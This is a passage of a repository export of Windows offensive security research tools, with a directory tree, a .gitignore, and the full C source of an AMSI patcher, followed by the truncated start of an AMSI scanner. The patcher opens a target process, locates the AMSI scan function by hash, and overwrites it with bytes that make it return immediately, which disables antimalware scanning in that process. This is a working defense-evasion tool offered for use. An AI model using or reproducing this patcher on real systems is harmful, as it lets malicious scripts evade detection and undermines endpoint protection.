Repository: am0nsec/wspe Branch: master Commit: 3cdbf9ddd6e2 Files: 94 Total size: 1.6 MB Directory structure: gitextract_uv3tnufw/ ├── .gitignore ├── AMSI/ │ ├── amsi_module_patch.c │ ├── amsi_scanner.c │ └── structs.h ├── AppLocker/ │ └── List Policies/ │ ├── interfaces.h │ └── main.c ├── CMakeLists.txt ├── CMakeSettings.json ├── Cryptography/ │ └── AES CNG/ │ ├── README.md │ └── source/ │ ├── AES.cpp │ ├── AES.h │ ├── AESCrypt.sln │ ├── AESCrypt.vcxproj │ ├── AESCrypt.vcxproj.filters │ ├── Base64.h │ ├── Main.cpp │ ├── Util.cpp │ ├── Util.h │ └── nthelpers.h ├── DIA/ │ ├── CMakeLists.txt │ ├── inc/ │ │ ├── callback.h │ │ ├── dirutil.h │ │ ├── interface.h │ │ └── msdia/ │ │ ├── idl/ │ │ │ └── dia2.idl │ │ ├── include/ │ │ │ ├── cvconst.h │ │ │ ├── dia2.h │ │ │ └── diacreate.h │ │ └── lib/ │ │ ├── amd64/ │ │ │ └── diaguids.lib │ │ └── diaguids.lib │ └── src/ │ ├── callback.c │ ├── dirutil.c │ ├── interface.c │ └── main.c ├── Defender/ │ └── ExclusionLists/ │ ├── CMakeLists.txt │ ├── inc/ │ │ └── defender.h │ ├── main.c │ └── src/ │ └── defender.c ├── Fusion/ │ ├── FindAssembly/ │ │ ├── FindAssembly.csproj │ │ ├── FindAssembly.sln │ │ ├── Fusion/ │ │ │ ├── GACUtil.cs │ │ │ ├── IAssemblyCache.cs │ │ │ ├── IAssemblyCacheItem.cs │ │ │ ├── IAssemblyEnum.cs │ │ │ └── IAssemblyName.cs │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── Win32/ │ │ │ ├── Functions.cs │ │ │ └── Macros.cs │ │ └── app.config │ └── ListAssemblies/ │ ├── gacutil.h │ └── main.c ├── Kerberos/ │ ├── AskTGT/ │ │ ├── CMakeLists.txt │ │ ├── kerberos.c │ │ ├── kerberos.h │ │ ├── main.c │ │ ├── socket.c │ │ └── socket.h │ ├── GetTicket/ │ │ ├── CMakeLists.txt │ │ └── src/ │ │ └── main.c │ ├── List/ │ │ ├── CMakeLists.txt │ │ └── src/ │ │ └── main.c │ └── Purge/ │ ├── CMakeLists.txt │ └── src/ │ └── main.c ├── LICENSE ├── Object Manager/ │ ├── List Handles/ │ │ ├── main.c │ │ └── ntstructs.h │ └── List Objects/ │ ├── main.c │ └── ntstructs.h ├── Office/ │ └── Outlook/ │ ├── CMakeLists.txt │ ├── inc/ │ │ └── outlook.h │ └── src/ │ ├── main.c │ └── outlook.c ├── Portable Executable/ │ └── parse_header.c ├── Power Management/ │ ├── README.md │ ├── deus_somnum_pic.c │ └── deus_somnum_user32.cpp ├── Process/ │ └── GetProcessEnvironmentBlock/ │ ├── GetProcessEnvironmentBlock/ │ │ ├── GetProcessEnvironmentBlock.csproj │ │ └── Program.cs │ └── GetProcessEnvironmentBlock.sln ├── README.md ├── RWX/ │ ├── JITCompilation/ │ │ ├── JITCompilation/ │ │ │ ├── JITCompilation.csproj │ │ │ └── Program.cs │ │ └── JITCompilation.sln │ ├── MMF/ │ │ ├── MMF/ │ │ │ ├── MMF.csproj │ │ │ └── Program.cs │ │ └── MMF.sln │ ├── PInvoke/ │ │ ├── PInvoke/ │ │ │ ├── PInvoke.csproj │ │ │ └── Program.cs │ │ └── PInvoke.sln │ └── README.md ├── Secure Enclave/ │ └── VBS/ │ └── bsod.c ├── Task Scheduler/ │ ├── README.md │ └── enumerate_tasks.cpp └── WinDBG/ └── exploit86.js ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ ## Ignore Visual Studio temporary files, build results, and ## files generated by popular Visual Studio add-ons. ## ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore # User-specific files *.rsuser *.suo *.user *.userosscache *.sln.docstates # User-specific files (MonoDevelop/Xamarin Studio) *.userprefs # Mono auto generated files mono_crash.* # Build results [Dd]ebug/ [Dd]ebugPublic/ [Rr]elease/ [Rr]eleases/ x64/ x86/ [Aa][Rr][Mm]/ [Aa][Rr][Mm]64/ bld/ [Bb]in/ [Oo]bj/ [Ll]og/ [Ll]ogs/ # Visual Studio 2015/2017 cache/options directory .vs/ # Uncomment if you have tasks that create the project's static files in wwwroot #wwwroot/ # Visual Studio 2017 auto generated files Generated\ Files/ # MSTest test Results [Tt]est[Rr]esult*/ [Bb]uild[Ll]og.* # NUnit *.VisualState.xml TestResult.xml nunit-*.xml # Build Results of an ATL Project [Dd]ebugPS/ [Rr]eleasePS/ dlldata.c # Benchmark Results BenchmarkDotNet.Artifacts/ # .NET Core project.lock.json project.fragment.lock.json artifacts/ # ASP.NET Scaffolding ScaffoldingReadMe.txt # StyleCop StyleCopReport.xml # Files built by Visual Studio *_i.c *_p.c *_h.h *.ilk *.meta *.obj *.iobj *.pch *.pdb *.ipdb *.pgc *.pgd *.rsp *.sbr *.tlb *.tli *.tlh *.tmp *.tmp_proj *_wpftmp.csproj *.log *.vspscc *.vssscc .builds *.pidb *.svclog *.scc # Chutzpah Test files _Chutzpah* # Visual C++ cache files ipch/ *.aps *.ncb *.opendb *.opensdf *.sdf *.cachefile *.VC.db *.VC.VC.opendb # Visual Studio profiler *.psess *.vsp *.vspx *.sap # Visual Studio Trace Files *.e2e # TFS 2012 Local Workspace $tf/ # Guidance Automation Toolkit *.gpState # ReSharper is a .NET coding add-in _ReSharper*/ *.[Rr]e[Ss]harper *.DotSettings.user # TeamCity is a build add-in _TeamCity* # DotCover is a Code Coverage Tool *.dotCover # AxoCover is a Code Coverage Tool .axoCover/* !.axoCover/settings.json # Coverlet is a free, cross platform Code Coverage Tool coverage*[.json, .xml, .info] # Visual Studio code coverage results *.coverage *.coveragexml # NCrunch _NCrunch_* .*crunch*.local.xml nCrunchTemp_* # MightyMoose *.mm.* AutoTest.Net/ # Web workbench (sass) .sass-cache/ # Installshield output folder [Ee]xpress/ # DocProject is a documentation generator add-in DocProject/buildhelp/ DocProject/Help/*.HxT DocProject/Help/*.HxC DocProject/Help/*.hhc DocProject/Help/*.hhk DocProject/Help/*.hhp DocProject/Help/Html2 DocProject/Help/html # Click-Once directory publish/ # Publish Web Output *.[Pp]ublish.xml *.azurePubxml # Note: Comment the next line if you want to checkin your web deploy settings, # but database connection strings (with potential passwords) will be unencrypted *.pubxml *.publishproj # Microsoft Azure Web App publish settings. Comment the next line if you want to # checkin your Azure Web App publish settings, but sensitive information contained # in these scripts will be unencrypted PublishScripts/ # NuGet Packages *.nupkg # NuGet Symbol Packages *.snupkg # The packages folder can be ignored because of Package Restore **/[Pp]ackages/* # except build/, which is used as an MSBuild target. !**/[Pp]ackages/build/ # Uncomment if necessary however generally it will be regenerated when needed #!**/[Pp]ackages/repositories.config # NuGet v3's project.json files produces more ignorable files *.nuget.props *.nuget.targets # Microsoft Azure Build Output csx/ *.build.csdef # Microsoft Azure Emulator ecf/ rcf/ # Windows Store app package directories and files AppPackages/ BundleArtifacts/ Package.StoreAssociation.xml _pkginfo.txt *.appx *.appxbundle *.appxupload # Visual Studio cache files # files ending in .cache can be ignored *.[Cc]ache # but keep track of directories ending in .cache !?*.[Cc]ache/ # Others ClientBin/ ~$* *~ *.dbmdl *.dbproj.schemaview *.jfm *.pfx *.publishsettings orleans.codegen.cs # Including strong name files can present a security risk # (https://github.com/github/gitignore/pull/2483#issue-259490424) #*.snk # Since there are multiple workflows, uncomment next line to ignore bower_components # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) #bower_components/ # RIA/Silverlight projects Generated_Code/ # Backup & report files from converting an old project file # to a newer Visual Studio version. Backup files are not needed, # because we have git ;-) _UpgradeReport_Files/ Backup*/ UpgradeLog*.XML UpgradeLog*.htm ServiceFabricBackup/ *.rptproj.bak # SQL Server files *.mdf *.ldf *.ndf # Business Intelligence projects *.rdl.data *.bim.layout *.bim_*.settings *.rptproj.rsuser *- [Bb]ackup.rdl *- [Bb]ackup ([0-9]).rdl *- [Bb]ackup ([0-9][0-9]).rdl # Microsoft Fakes FakesAssemblies/ # GhostDoc plugin setting file *.GhostDoc.xml # Node.js Tools for Visual Studio .ntvs_analysis.dat node_modules/ # Visual Studio 6 build log *.plg # Visual Studio 6 workspace options file *.opt # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) *.vbw # Visual Studio LightSwitch build output **/*.HTMLClient/GeneratedArtifacts **/*.DesktopClient/GeneratedArtifacts **/*.DesktopClient/ModelManifest.xml **/*.Server/GeneratedArtifacts **/*.Server/ModelManifest.xml _Pvt_Extensions # Paket dependency manager .paket/paket.exe paket-files/ # FAKE - F# Make .fake/ # CodeRush personal settings .cr/personal # Python Tools for Visual Studio (PTVS) __pycache__/ *.pyc # Cake - Uncomment if you are using it # tools/** # !tools/packages.config # Tabs Studio *.tss # Telerik's JustMock configuration file *.jmconfig # BizTalk build output *.btp.cs *.btm.cs *.odx.cs *.xsd.cs # OpenCover UI analysis results OpenCover/ # Azure Stream Analytics local run output ASALocalRun/ # MSBuild Binary and Structured Log *.binlog # NVidia Nsight GPU debugger configuration file *.nvuser # MFractors (Xamarin productivity tool) working folder .mfractor/ # Local History for Visual Studio .localhistory/ # BeatPulse healthcheck temp database healthchecksdb # Backup folder for Package Reference Convert tool in Visual Studio 2017 MigrationBackup/ # Ionide (cross platform F# VS Code tools) working folder .ionide/ # CMake out/ ================================================ FILE: AMSI/amsi_module_patch.c ================================================ /*+=================================================================== File: amsi_module_patch.c Summary: Disable AMSI in a remote process. Classes: N/A Functions: N/A Origin: https://github.com/am0nsec ## Author: Paul Laine (@am0nsec) ===================================================================+*/ #include #include #include "structs.h" #pragma comment(lib, "ntdll") NTSTATUS NTAPI NtQueryInformationProcess( __in HANDLE ProcessHandle, __in DWORD ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out PULONG ReturnLength ); /*-------------------------------------------------------------------- Macros. --------------------------------------------------------------------*/ #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define MODULE_FUNCTION_HASH 0xef9560b87e51d9fd #define MODULE_NAME_HASH 0x7a41ff5c4c483108 /*-------------------------------------------------------------------- Function prototypes. --------------------------------------------------------------------*/ PTEB RtlGetThreadEnvironmentBlock(); PPEB RtlGetProcessEnvironmentBlock(); BOOL GetRemoteProcessPeb( __in PHANDLE pHandle, __out PPEB pRemotePeb, __out PPROCESS_BASIC_INFORMATION pBasicInformation ); BOOL GetLoaderDataStructure( __in PHANDLE pHandle, __out PPEB_LDR_DATA pLdrData, __out LPBYTE pPebBaseAddress ); DWORD64 djb2(__in PBYTE str); PVOID GetModuleBaseAddress( __in PHANDLE pHandle, __in PPEB_LDR_DATA pLdrData ); BOOL GetModuleExportDirectory( __in PHANDLE pHandle, __out PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, __in PVOID pModuleBaseAddress ); PVOID GetModuleFunctionAddress( __in PHANDLE pHandle, __in PIMAGE_EXPORT_DIRECTORY pExportDirectory, __in PVOID pModuleBaseAddress ); BOOL PatchModuleFunction( __in PHANDLE pHandle, __in PVOID pModuleFunctionAddress ); /*-------------------------------------------------------------------- Global variables. --------------------------------------------------------------------*/ PTEB g_pCurrentTeb = NULL; PPEB g_pCurrentPeb = NULL; INT wmain(INT argc, wchar_t* argv[]) { wprintf(L"[>] AMSI Module Patch.\n"); wprintf(L"[>] Author: Paul Laine (@am0nsec).\n"); wprintf(L" ---------------------------------\n\n"); /*-------------------------------------------------------------------- Get process environment block and thread environment block. --------------------------------------------------------------------*/ g_pCurrentTeb = RtlGetThreadEnvironmentBlock(); g_pCurrentPeb = RtlGetProcessEnvironmentBlock(); if (!g_pCurrentPeb || !g_pCurrentTeb || g_pCurrentPeb->OSMajorVersion != 0xA) { wprintf(L"[-] This program is only supported by Windows 10 and greater.\n\n"); return 0x1; } /*-------------------------------------------------------------------- Get the PID of the targeted process. --------------------------------------------------------------------*/ if (argc != 2) { wprintf(L"[-] Invalid number of parameters.\n"); wprintf(L" Usage: %ws \n\n", argv[0]); return 0x1; } DWORD dwRemoteProcessId = _wtoi(argv[1]); wprintf(L"[>] Target process ID: %d\n", dwRemoteProcessId); /*-------------------------------------------------------------------- Get the HANDLE of the targeted process. --------------------------------------------------------------------*/ wprintf(L"[>] Searching module base address ...\n"); HANDLE hRemoteProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwRemoteProcessId); if (hRemoteProcess == INVALID_HANDLE_VALUE) { wprintf(L"[-] Error while getting a HANDLE to the remote process: %d\n\n", g_pCurrentTeb->LastErrorValue); return 0x01; } wprintf(L" - Process handle: 0x%016llx\n", (DWORD64)hRemoteProcess); /*-------------------------------------------------------------------- Get the PEB of the remote process. --------------------------------------------------------------------*/ PROCESS_BASIC_INFORMATION BasicInformation = { 0 }; PEB RemotePeb = { 0 }; if (!GetRemoteProcessPeb(&hRemoteProcess, &RemotePeb, &BasicInformation)) { CloseHandle(hRemoteProcess); return 0x01; } /*-------------------------------------------------------------------- Get the address of the PEB_LDR_DATA structure. --------------------------------------------------------------------*/ PEB_LDR_DATA LdrData = { 0 }; if (!GetLoaderDataStructure(&hRemoteProcess, &LdrData, (LPBYTE)BasicInformation.PebBaseAddress)) { CloseHandle(hRemoteProcess); return 0x01; } /*-------------------------------------------------------------------- Search for the base address of the AMSI module. --------------------------------------------------------------------*/ PVOID pModuleBaseAddress = GetModuleBaseAddress(&hRemoteProcess, &LdrData); if (pModuleBaseAddress == NULL) { wprintf(L"[-] Invalid module base address: %d\n\n", g_pCurrentTeb->LastErrorValue); return 0x01; } wprintf(L" - Module base address: 0x%016llx\n", (DWORD64)pModuleBaseAddress); wprintf(L"[+] Searching module base address ... OK\n\n"); /*-------------------------------------------------------------------- Get export directory structure of the module --------------------------------------------------------------------*/ wprintf(L"[>] Searching function address ...\n"); IMAGE_EXPORT_DIRECTORY ExportDirectory = { 0 }; if (!GetModuleExportDirectory(&hRemoteProcess, &ExportDirectory, pModuleBaseAddress)) { CloseHandle(hRemoteProcess); return 0x01; } /*-------------------------------------------------------------------- Parse the export table of the module. Re-implementation of the GetProcAddress function. --------------------------------------------------------------------*/ PVOID pModuleFunctionAddress = GetModuleFunctionAddress(&hRemoteProcess, &ExportDirectory, pModuleBaseAddress); if (pModuleFunctionAddress == NULL) { CloseHandle(hRemoteProcess); return 0x01; } wprintf(L" - Function address: 0x%016llx\n", (DWORD64)pModuleFunctionAddress); wprintf(L"[+] Searching function address ... OK\n\n"); /*-------------------------------------------------------------------- Parse the export table of the module. Re-implementation of the GetProcAddress function. --------------------------------------------------------------------*/ if (!PatchModuleFunction(&hRemoteProcess, pModuleFunctionAddress)) { CloseHandle(hRemoteProcess); return 0x01; } /*-------------------------------------------------------------------- Cleanup and exit. --------------------------------------------------------------------*/ if (hRemoteProcess != INVALID_HANDLE_VALUE) CloseHandle(hRemoteProcess); return 0x0; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: RtlGetThreadEnvironmentBlock Summary: Get the TEB from the GS/FS register. Args: N/A Returns: PTEB -----------------------------------------------------------------F-F*/ PTEB RtlGetThreadEnvironmentBlock() { #if _WIN64 return (PTEB)__readgsqword(0x30); #else return (PTEB)__readfsdword(0x16); #endif } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: RtlGetProcessEnvironmentBlock Summary: Get the PEB from the GS/FS register. Args: N/A Returns: PPEB -----------------------------------------------------------------F-F*/ PPEB RtlGetProcessEnvironmentBlock() { #if _WIN64 return (PPEB)__readgsqword(0x60); #else return (PPEB)__readfsdword(0x30); #endif } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetRemoteProcessPeb Summary: Get PEB from a remote process. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PPEB pRemotePeb - Pointer to the PEB structure of the remote process. PPROCESS_BASIC_INFORMATION pBasicInformation - Pointer to a structure that contains information about the remote process. Returns: BOOL -----------------------------------------------------------------F-F*/ BOOL GetRemoteProcessPeb(PHANDLE pHandle, PPEB pRemotePeb, PPROCESS_BASIC_INFORMATION pBasicInformation) { ULONG lBytesWritten = 0; NtQueryInformationProcess(*pHandle, 0, pBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &lBytesWritten); if (lBytesWritten != sizeof(PROCESS_BASIC_INFORMATION)) { wprintf(L"[-] Something went wrong will gathering remote process basic information: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } SIZE_T lBytesRead = 0; ReadProcessMemory(*pHandle, pBasicInformation->PebBaseAddress, pRemotePeb, sizeof(PEB), &lBytesRead); if (lBytesRead != sizeof(PEB)) { wprintf(L"[-] Something went wrong will getting remote PEB: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L" - Process image base: 0x%016llx\n", (DWORD64)pRemotePeb->ImageBase); return TRUE; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetLoaderDataStructure Summary: Get the loader data structure from a the remote process. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PPEB_LDR_DATA pLdrData - Pointer to the loader data structure from the remote process. LPBYTE pPebBaseAddress - Base address of the PEB structure from the remote process. Returns: BOOL -----------------------------------------------------------------F-F*/ BOOL GetLoaderDataStructure(PHANDLE pHandle, PPEB_LDR_DATA pLdrData, LPBYTE pPebBaseAddress) { LPVOID pLdrDataAddress = NULL; SIZE_T lBytesRead = 0; #if _WIN64 ReadProcessMemory(*pHandle, (pPebBaseAddress + 0x18), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesRead); #else ReadProcessMemory(*pHandle, (pPebBaseAddress + 0x0c), &pLdrDataAddress, sizeof(PPEB_LDR_DATA), &lBytesWritten); #endif if (!pLdrDataAddress || lBytesRead != sizeof(PPEB_LDR_DATA)) { wprintf(L"[-] Invalid loader data address returned: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L" - Loader data address: 0x%016llx\n", (DWORD64)pLdrDataAddress); ReadProcessMemory(*pHandle, pLdrDataAddress, pLdrData, sizeof(PEB_LDR_DATA), &lBytesRead); if (lBytesRead != sizeof(PEB_LDR_DATA)) { wprintf(L"[-] Invalid loader data structure returned: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } return TRUE; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: djb2 Summary: Get the hash of a ASCII string. Args: PBYTE str - Pointer to an ASCII string to hash. Returns: DWORD64 -----------------------------------------------------------------F-F*/ DWORD64 djb2(PBYTE str) { DWORD64 dwHash = 0x77347734; INT c; while (c = *str++) dwHash = ((dwHash << 0x5) + dwHash) + c; return dwHash; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetModuleFunctionAddress Summary: Parse all the LDR_DATA_TABLE_ENTRY structures of the PEB_LDR_DATA structure of a remote process in order to find the base address of module. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PPEB_LDR_DATA pLdrData - Pointer to the loader data structure from the remote process. Returns: PVOID -----------------------------------------------------------------F-F*/ PVOID GetModuleBaseAddress(PHANDLE pHandle, PPEB_LDR_DATA pLdrData) { SIZE_T lBytesRead = 0; PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PBYTE)pLdrData->InMemoryOrderModuleList.Flink - 0x10); PLIST_ENTRY pListEntryFirstElement = pListEntry; PVOID pAddress = NULL; do { LDR_DATA_TABLE_ENTRY LdrDataEntry; ReadProcessMemory(*pHandle, pListEntry, &LdrDataEntry, sizeof(LDR_DATA_TABLE_ENTRY), &lBytesRead); if (lBytesRead != sizeof(LDR_DATA_TABLE_ENTRY)) { wprintf(L"[-] Invalid loader data entry returned: %d\n\n", g_pCurrentTeb->LastErrorValue); return NULL; } // Get the name of the entry if (LdrDataEntry.DllBase) { PWCHAR pLdrDataEntryName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, LdrDataEntry.BaseDllName.MaximumLength); ReadProcessMemory(*pHandle, LdrDataEntry.BaseDllName.Buffer, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL); // Convert from Unicode to ASCII INT size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, NULL, 0, NULL, NULL); PBYTE pLdrDataEntryNameAscii = HeapAlloc(g_pCurrentPeb->ProcessHeap, 0, size + 1); size = WideCharToMultiByte(CP_ACP, 0, pLdrDataEntryName, LdrDataEntry.BaseDllName.MaximumLength, pLdrDataEntryNameAscii, size, NULL, NULL); // Check the name of the module if (MODULE_NAME_HASH == djb2(pLdrDataEntryNameAscii)) { pAddress = LdrDataEntry.DllBase; } HeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryName); HeapFree(g_pCurrentPeb->ProcessHeap, 0, pLdrDataEntryNameAscii); pLdrDataEntryName = NULL; pLdrDataEntryNameAscii = NULL; } if (pAddress != NULL) return pAddress; pListEntry = (PLIST_ENTRY)((PBYTE)LdrDataEntry.InMemoryOrderLinks.Flink - 0x10); } while (pListEntry != pListEntryFirstElement); return NULL; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetModuleExportDirectory Summary: Parse the PE header of the module in order to get the export directory structure of the module. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PIMAGE_EXPORT_DIRECTORY pImageExportDirectory - Pointer to the export directory structure of a remote process. VOID pModuleBaseAddress - Pointer to the address of the module to patch. Returns: BOOL -----------------------------------------------------------------F-F*/ BOOL GetModuleExportDirectory(PHANDLE pHandle, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVOID pModuleBaseAddress) { IMAGE_NT_HEADERS ModuleImageNtHeaders = { 0 }; IMAGE_DOS_HEADER ModuleImageDosHeader = { 0 }; SIZE_T lBytesRead = 0; ReadProcessMemory(*pHandle, (LPCVOID)pModuleBaseAddress, &ModuleImageDosHeader, sizeof(IMAGE_DOS_HEADER), &lBytesRead); if (ModuleImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE || lBytesRead != sizeof(IMAGE_DOS_HEADER)) { wprintf(L"[-] Invalid module DOS header: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L" - DOS Header: 0x%016llx\n", (DWORD64)pModuleBaseAddress); LPCVOID lpImageDosHeadersAddress = ((PBYTE)pModuleBaseAddress + ModuleImageDosHeader.e_lfanew); ReadProcessMemory(*pHandle, lpImageDosHeadersAddress, &ModuleImageNtHeaders, sizeof(IMAGE_NT_HEADERS), &lBytesRead); if (ModuleImageNtHeaders.Signature != IMAGE_NT_SIGNATURE || lBytesRead != sizeof(IMAGE_NT_HEADERS)) { wprintf(L"[-] Invalid module NT header: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L" - NT Headers: 0x%016llx\n", (DWORD64)lpImageDosHeadersAddress); PIMAGE_DATA_DIRECTORY DataDirectory = ModuleImageNtHeaders.OptionalHeader.DataDirectory; ReadProcessMemory(*pHandle, ((PBYTE)pModuleBaseAddress + DataDirectory[0].VirtualAddress), pImageExportDirectory, DataDirectory[0].Size, &lBytesRead); if (lBytesRead != DataDirectory[0].Size) { wprintf(L"[-] Invalid export directory returned: %d\n\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L" - Export directory: 0x%016llx\n", (DWORD64)((PBYTE)pModuleBaseAddress + DataDirectory[0].VirtualAddress)); return TRUE; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: GetModuleFunctionAddress Summary: Parse the arrays in the export directory to find the address of the function to patch. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PIMAGE_EXPORT_DIRECTORY pImageExportDirectory - Pointer to the export directory structure of a remote process. PVOID pModuleBaseAddress - Pointer to the address of the module to patch. Returns: PVOID -----------------------------------------------------------------F-F*/ PVOID GetModuleFunctionAddress(PHANDLE pHandle, PIMAGE_EXPORT_DIRECTORY pExportDirectory, PVOID pModuleBaseAddress) { PDWORD aAddressOfFunctions = (PDWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfFunctions); PDWORD aAddressOfNames = (PDWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfNames); PWORD aAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBaseAddress + pExportDirectory->AddressOfNameOrdinals); SIZE_T lBytesRead = 0; PVOID pFunctionAddress = NULL; for (WORD cx = 0; cx < pExportDirectory->NumberOfNames; cx++) { DWORD dwAddressOfNamesValue = 0; ReadProcessMemory(*pHandle, aAddressOfNames + cx, &dwAddressOfNamesValue, sizeof(DWORD), NULL); PBYTE pFunctionName = HeapAlloc(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, MAX_PATH); ReadProcessMemory(*pHandle, (PBYTE)pModuleBaseAddress + dwAddressOfNamesValue, pFunctionName, MAX_PATH, NULL); if (MODULE_FUNCTION_HASH == djb2(pFunctionName)) { WORD wFunctionOrdinal = 0; ReadProcessMemory(*pHandle, aAddressOfNameOrdinales + cx, &wFunctionOrdinal, sizeof(WORD), &lBytesRead); if (lBytesRead != sizeof(WORD)) { wprintf(L"[-] Error while getting the ordinal of the function"); return NULL; } DWORD dwFunctionAddressOffset = 0; ReadProcessMemory(*pHandle, aAddressOfFunctions + wFunctionOrdinal, &dwFunctionAddressOffset, sizeof(DWORD), &lBytesRead); if (lBytesRead != sizeof(DWORD)) { wprintf(L"[-] Error while getting the address of the function"); return NULL; } pFunctionAddress = (DWORD64)pModuleBaseAddress + dwFunctionAddressOffset; } HeapFree(g_pCurrentPeb->ProcessHeap, HEAP_ZERO_MEMORY, pFunctionName); pFunctionName = NULL; if (pFunctionAddress != NULL) return pFunctionAddress; } return NULL; } /*F+F+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Function: PatchModuleFunction Summary: Patch the AMSI module function of a remote process. Args: PHANDLE pHandle - Pointer to an handle of a remote process. PVOID pModuleFunctionAddress - Address of the module function to patch, in the remote process. Returns: BOOL -----------------------------------------------------------------F-F*/ BOOL PatchModuleFunction(PHANDLE pHandle, PVOID lpModuleFunctionAddress) { BYTE patch[] = { 0x31, 0xC0, 0xC3 }; SIZE_T lBytesWritten = 0; wprintf(L"[>] Patching the module ...\n"); WriteProcessMemory(*pHandle, lpModuleFunctionAddress, (LPCVOID)&patch, (sizeof(BYTE) * 3), &lBytesWritten); if (lBytesWritten != (sizeof(BYTE) * 3)) { wprintf(L"[>] Error while patching the DLL in memory: %d\n", g_pCurrentTeb->LastErrorValue); return FALSE; } wprintf(L"[+] Patching the module ... OK\n\n"); return TRUE; } ================================================ FILE: AMSI/amsi_scanner.c ================================================ /*+=================================================================== File: amsi_scanner.c Summary: Scan string, file or URL via AMSI. Classes: N/A Functions: N/A Origin: https://github.com/am0nsec ## Author: Paul Laine (@am0nsec) ===================================================================+*/ #pragma once #include #include #include #pragma comment(lib, "amsi.lib") /*-------------------------------------------------------------------- Function prototypes. --------------------------------------------------------------------*/ BOOL GetStringLenght(_In_ LPWSTR szString, _Out_ PULONG plStringSize); BOOL ScanString(_In_ LPWSTR* pszString, _Out_ AMSI_RESULT* pAmsiResult); BOOL ScanFile(_In_ LPWSTR* pszFileName, _Out_ AMSI_RESULT* pAmsiResult); BOOL ScanUrl(_In_ LPWSTR* pszUrl, _Out_ AMSI_RESULT* pAmsiResult); VOID Cleanup(); /*-------------------------------------------------------------------- Global variables. --------------------------------------------------------------------*/ HAMSICONTEXT g_hAmsiContext = NULL; HAMSISESSION g_hAmsiSession = NULL; LPCWSTR g_szApplicationName = L"AMSI Scanner v1.0"; HANDLE g_hProcessHeap = INVALID_HANDLE_VALUE; INT wmain(INT argc, PWCHAR argv[]) { wprintf(L"[>] Copyright (C) 2020 Paul Laine (@am0nsec)\n"); wprintf(L"[>] AMSI Scanner v1.0\n"); wprintf(L"[>] https://github.com/am0nsec/wspe\n"); wprintf(L" -----------------------------------------\n\n"); // Check arguments supplied by the user if (argc < 3 || (argc >= 2 && wcscmp(argv[1], L"-h") == 0)) { wprintf(L"[-] Usage: scanner [ -f | -s | -u ] [data]\n"); wprintf(L"\t-f\tScan content of a file.\n"); wprintf(L"\t-s\tScan a string.\n"); wprintf(L"\t-u\tScan an URL.\n\n"); wprintf(L"Leverage the Antimalware Scan Interface (AMSI) Win32 API to scan user supplied content.\n"); wprintf(L"Microsoft documentation: https://docs.microsoft.com/en-us/windows/win32/api/_amsi/\n\n"); return 0x01; } // Initialise variables HRESULT hr = S_OK; g_hProcessHeap = GetProcessHeap(); // Initialise AMSI hr = AmsiInitialize(g_szApplicationName, &g_hAmsiContext); if (FAILED(hr)) { wprintf(L"[-] Error while invoking amsi!AmsiInitialize (0x%08x)\n", hr); wprintf(L"[-] Check that Windows Defender is enabled or that the currently running AV support AMSI.\n"); return 0x01; } // Open new session hr = AmsiOpenSession(g_hAmsiContext, &g_hAmsiSession); if (FAILED(hr)) { wprintf(L"[-] Error while invoking amsi!AmsiOpenSession (0x%08x)\n", hr); Cleanup(); return 0x01; } // Scan data AMSI_RESULT AmsiResult; BOOL bScanSuccess = FALSE; if (wcscmp(argv[1], L"-s") == 0) bScanSuccess = ScanString(&argv[2], &AmsiResult); else if (wcscmp(argv[1], L"-u") == 0) bScanSuccess = ScanString(&argv[2], &AmsiResult); else if (wcscmp(argv[1], L"-f") == 0) bScanSuccess = ScanFile(&argv[2], &AmsiResult); // Display result of the scan if (bScanSuccess) { switch (AmsiResult) { case AMSI_RESULT_CLEAN: 